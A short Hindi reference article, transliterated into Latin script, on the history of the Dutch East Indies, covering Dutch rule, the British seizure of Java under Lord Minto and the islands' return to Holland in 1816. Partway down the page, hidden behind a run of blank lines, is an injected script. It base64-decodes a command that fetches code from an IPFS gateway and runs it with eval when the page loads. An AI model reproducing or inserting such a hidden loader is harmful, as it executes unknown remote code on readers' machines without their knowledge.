डच ईस्ट इण्डीज
dach eest indij masale vale 'java' tatha 'molukkas' dvipoan ka sammilit rajy tha. 17vian shatabdi ee. ke prarambh mean dach log (halaindavasiyoan) ne in dvipoan mean apani vyaparik kothiyaan sthapit kian aur aangrezoan ko vahaan apana pair jamane nahian diya, yahaan tak ki 1623 ee. mean unhoanne amboyana mean aangrezoan ka katleam karake vahaan se unaka saphaya kar diya. bad ke dinoan mean masale vale in dvipoan par british bharatiy fauj ne adhikar kar liya.
dachoan ka adhikar
dachoan ne bataviya (java) ko apana sadaramukam banaya tha, jahaan se malay dvipasamooh ke adhikaansh bhag par vah asani se shasan kar sakate the. isake phalasvaroop malay dvipasamooh 'dach eest indij' ke nam se jana jane laga. 19vian shatabdi ee. ke prarambh mean jab fraans ke naipoliyan ne halaind par adhikar jamaya, to malayadviy bhi usake niyantran mean a gaya.
aangrezoan ka qabza
is samay bharat mean eest indiya kampani ka gavarnar-janaral l aaurd minto pratham tha. usane malay dvipasamooh par kabja karane ka nishchay kiya. isake lie usane vishesh taiyari ki. 1810 ee. mean british bharatiy fauj ne amboyana aur masale vale dvipoan par adhikar kar liya. doosare varsh minto ne 12 hazar nausainikoan ka be da sar saimyual akamati ke netritv mean bheja, jisane pahale malakka par langar dala. l aaurd minto svayan is be de ke sath mean tha. in sainikoan ne bataviya par asani se adhikar kar liya. isake bad kornelis ke qile ke lie fraansisi janaral jainsens, jise naipoliyan ne kamaandar niyukt kiya tha, aur aangrez fauj ke bich ghamasan yuddh hua. is yuddh mean vijay ke phalasvaroop sampoorn malay dvipasamooh aangrezoan ke adhikar mean a gaya.
l aaurd minto is dvip samooh ka prashasan staimford raifils ke jimme chho dakar bharat vapas a gaya. lekin jab 1815 ee. mean 'viyana ki sandhi' ke phalasvaroop yoorop mean shanti sthapit huee, to 1816 ee. mean 'dach eest indij' (malay dvipasamooh) halaind ko vapas kar diya gaya. ab yah indoneshiya ke svadhin ganatantr ke aantargat hai.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
bharatiy itihas kosh |lekhak: sachchidanand bhattachary |prakashak: uttar pradesh hindi sansthan |prishth sankhya: 179 |
sanbandhit lekh
[[Category:]]